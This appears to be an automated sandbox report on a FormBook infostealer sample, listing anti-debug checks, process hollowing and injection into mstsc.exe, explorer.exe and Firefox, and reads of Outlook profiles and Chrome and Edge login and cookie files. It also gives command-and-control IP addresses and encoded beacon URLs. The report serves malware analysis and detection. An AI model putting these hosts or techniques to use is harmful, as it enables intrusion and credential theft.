Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87188E mov eax, dword ptr fs:[00000030h]	4_2_1D87188E
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87B890 mov eax, dword ptr fs:[00000030h]	4_2_1D87B890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87B890 mov eax, dword ptr fs:[00000030h]	4_2_1D87B890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87B890 mov eax, dword ptr fs:[00000030h]	4_2_1D87B890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CB890 mov eax, dword ptr fs:[00000030h]	4_2_1D8CB890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CB890 mov eax, dword ptr fs:[00000030h]	4_2_1D8CB890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CB890 mov ecx, dword ptr fs:[00000030h]	4_2_1D8CB890
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86D898 mov eax, dword ptr fs:[00000030h]	4_2_1D86D898
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83F8B0 mov eax, dword ptr fs:[00000030h]	4_2_1D83F8B0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8C98B2 mov eax, dword ptr fs:[00000030h]	4_2_1D8C98B2
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8528C0 mov eax, dword ptr fs:[00000030h]	4_2_1D8528C0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8408CD mov eax, dword ptr fs:[00000030h]	4_2_1D8408CD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8408CD mov eax, dword ptr fs:[00000030h]	4_2_1D8408CD
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9018DA mov eax, dword ptr fs:[00000030h]	4_2_1D9018DA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9018DA mov eax, dword ptr fs:[00000030h]	4_2_1D9018DA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9018DA mov eax, dword ptr fs:[00000030h]	4_2_1D9018DA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D9018DA mov eax, dword ptr fs:[00000030h]	4_2_1D9018DA
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8388C8 mov eax, dword ptr fs:[00000030h]	4_2_1D8388C8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8388C8 mov eax, dword ptr fs:[00000030h]	4_2_1D8388C8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8498DE mov eax, dword ptr fs:[00000030h]	4_2_1D8498DE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8378E1 mov eax, dword ptr fs:[00000030h]	4_2_1D8378E1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8458E0 mov eax, dword ptr fs:[00000030h]	4_2_1D8458E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8458E0 mov eax, dword ptr fs:[00000030h]	4_2_1D8458E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8458E0 mov eax, dword ptr fs:[00000030h]	4_2_1D8458E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8458E0 mov eax, dword ptr fs:[00000030h]	4_2_1D8458E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84A8F0 mov eax, dword ptr fs:[00000030h]	4_2_1D84A8F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8748F0 mov eax, dword ptr fs:[00000030h]	4_2_1D8748F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83D800 mov eax, dword ptr fs:[00000030h]	4_2_1D83D800
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853800 mov eax, dword ptr fs:[00000030h]	4_2_1D853800
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853800 mov eax, dword ptr fs:[00000030h]	4_2_1D853800
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D853800 mov eax, dword ptr fs:[00000030h]	4_2_1D853800
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D83D818 mov eax, dword ptr fs:[00000030h]	4_2_1D83D818
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C819 mov eax, dword ptr fs:[00000030h]	4_2_1D87C819
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D87C819 mov eax, dword ptr fs:[00000030h]	4_2_1D87C819
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8FF82B mov eax, dword ptr fs:[00000030h]	4_2_1D8FF82B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D86B839 mov eax, dword ptr fs:[00000030h]	4_2_1D86B839
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CF85C mov eax, dword ptr fs:[00000030h]	4_2_1D8CF85C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CF85C mov eax, dword ptr fs:[00000030h]	4_2_1D8CF85C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CF85C mov eax, dword ptr fs:[00000030h]	4_2_1D8CF85C
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EF85F mov eax, dword ptr fs:[00000030h]	4_2_1D8EF85F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EF85F mov eax, dword ptr fs:[00000030h]	4_2_1D8EF85F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8EF85F mov eax, dword ptr fs:[00000030h]	4_2_1D8EF85F
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84F870 mov eax, dword ptr fs:[00000030h]	4_2_1D84F870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D84F870 mov eax, dword ptr fs:[00000030h]	4_2_1D84F870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D859870 mov eax, dword ptr fs:[00000030h]	4_2_1D859870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D859870 mov eax, dword ptr fs:[00000030h]	4_2_1D859870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8CC870 mov eax, dword ptr fs:[00000030h]	4_2_1D8CC870
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D851B80 mov eax, dword ptr fs:[00000030h]	4_2_1D851B80

Source: C:\Users\user\Desktop\Aposporogony.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_034A20A1 LdrLoadDll,

0_2_034A20A1

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Network Connect: 154.204.24.45 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.185.32.157 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.245.148.189 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 96.43.100.185 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.232.217.125 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.1 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.29.151.40 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 38.55.15.214 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.33.23.183 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.130.41.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.101.158.239 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.13.90.76 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 50.87.192.144 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 2.57.90.16 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.63.2.175 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 195.24.68.23 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\Aposporogony.exe

Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: 970000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Aposporogony.exe	Section loaded: unknown target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Section loaded: unknown target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\mstsc.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF7F4F50000

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\mstsc.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF7F4F50000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\Aposporogony.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Aposporogony.exe	Thread register set: target process: 7648			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Thread register set: target process: 4844			Jump to behavior

Source: C:\Users\user\Desktop\Aposporogony.exe	Process created: C:\Users\user\Desktop\Aposporogony.exe C:\Users\user\Desktop\Aposporogony.exe			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe			Jump to behavior

Source: RAVCpl64.exe, 00000005.00000000.2168568590.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000002.6575034943.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000000.2176210403.0000000000E80000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RAVCpl64.exe, 00000005.00000000.2168568590.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000002.6575034943.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000000.2176210403.0000000000E80000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RAVCpl64.exe, 00000005.00000000.2168568590.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000002.6575034943.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000000.2176210403.0000000000E80000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Managerk
Source: explorer.exe, 00000007.00000000.2540053050.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2617474559.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2470106206.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: +Progman
Source: RAVCpl64.exe, 00000005.00000000.2168568590.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000002.6575034943.0000000000E80000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000005.00000000.2176210403.0000000000E80000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Aposporogony.exe

0_2_004034A5

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.2220881682.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2167661567.000000000076B000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6580637298.0000000004320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6566682514.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.2175496471.000000000076B000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2239453620.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.6580116972.00000000042F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	5 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Windows Service	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	712 Process Injection	1 DLL Side-Loading	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	15 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	12 Virtualization/Sandbox Evasion	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	712 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Aposporogony.exe	10%	Virustotal		Browse

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
7.0.explorer.exe.14253814.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.0.firefox.exe.39ec3814.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.firefox.exe.39ec3814.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.0.explorer.exe.14253814.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
7.0.explorer.exe.14253814.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
6.2.mstsc.exe.4913814.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.Aposporogony.exe.410937.1.unpack	100%	Avira	TR/Patched.Ren.Gen3	Download File
11.0.firefox.exe.39ec3814.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Link
botbillionsblaze.website	1%	Virustotal	Browse
www.phootka.ru	2%	Virustotal	Browse
xn--29-oj9ik7b890b.net	2%	Virustotal	Browse
www.searchbot.su	1%	Virustotal	Browse
www.youlian.fund	1%	Virustotal	Browse
www.xiaoxiuzhen.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.royaltechglobal.com/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-json/	0%	Avira URL Cloud	safe
http://www.codemars.academy/nqhc/	0%	Avira URL Cloud	safe
http://www.005404.com/nqhc/	0%	Avira URL Cloud	safe
http://www.gouldent.site/nqhc/?r4txB=1Yl+QUBI4kgCsXI3Vp53kl3xa1s40hGy3/rGU37TkiIZHr5R+30vzUqate7I4LnPvrrd2ZP58ux1HT0e4Ni8o787tXF+UCoQAg==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.labour-office.com/nqhc/?b6=1b9p&r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==	0%	Avira URL Cloud	safe
http://www.labour-office.com/nqhc/?r4txB=LdV+lgJdmfuEMP3jUfrE9r0MLHENHMoAvR3n1HnrztGZNsUQ943e3pzfBc8//iPa0aHj65ptHNl5my2qaj9ZRSJvwgLgjYR0TA==&1b=S8jD	0%	Avira URL Cloud	safe
https://word.office.comW	0%	Avira URL Cloud	safe
http://www.xn--29-oj9ik7b890b.net/nqhc/?r4txB=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&1b=S8jD	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/report?cat=msn	0%	Avira URL Cloud	safe
http://www.botbillionsblaze.website/nqhc/?r4txB=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&1b=S8jD	100%	Avira URL Cloud	malware
http://xn--299aa717y.xn--3e0b707e	0%	Avira URL Cloud	safe
http://www.gouldent.site/nqhc/	0%	Avira URL Cloud	safe
http://www.apidachicago.org/nqhc/	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/feed/	0%	Avira URL Cloud	safe
http://www.youlian.fund/nqhc/?r4txB=MkuUvDTfzFLprDgv0d/zCzEj80YoaBEagpxYPCZUDQ8arMBq5slv03vCCvkVDe0A6/c8Ceh5Akj/CnOQLB+qucpYk5Fxn1TZTg==&1b=S8jD	0%	Avira URL Cloud	safe
http://royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPm	0%	Avira URL Cloud	safe
http://www.005404.com/nqhc/?r4txB=OyL0MBeXxkJ8chUEliFq9s6bwomTkxJ31rz9dsojrpNScTyiwKCDYYQmiQ8xCDXEzp0hbp4MCFP9aLVw4Be6pAeHIY4JilfakQ==&1b=S8jD	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/comments/feed/	0%	Avira URL Cloud	safe
http://www.royaltechglobal.com/nqhc/?r4txB=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.wellnessprodia.com/nqhc/?r4txB=cCAegqK/nzfcR22oyFZFZLhv7+fwUp6Akkv27RFimicapgMUJBRfpG+MwKY/yKfw/XeAmq4HqwYY5KwMyaSJSZOUIGIe3VRiGA==&1b=S8jD	0%	Avira URL Cloud	safe
http://www.codemars.academy/nqhc/?r4txB=HWUkI9TTae9E16Ico4VYIxYl96Wd6gyAbZTC2FoY75Z91OR/nsTZW6u7F26sGGS3r1HZf2jS9pu5KUGpbE/+fGNm2HkM109OTw==&b6=1b9p	0%	Avira URL Cloud	safe
http://xn--299aa717y.xn--3e0b707e/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2	0%	Avira URL Cloud	safe
http://www.gumba.shop/nqhc/	0%	Avira URL Cloud	safe
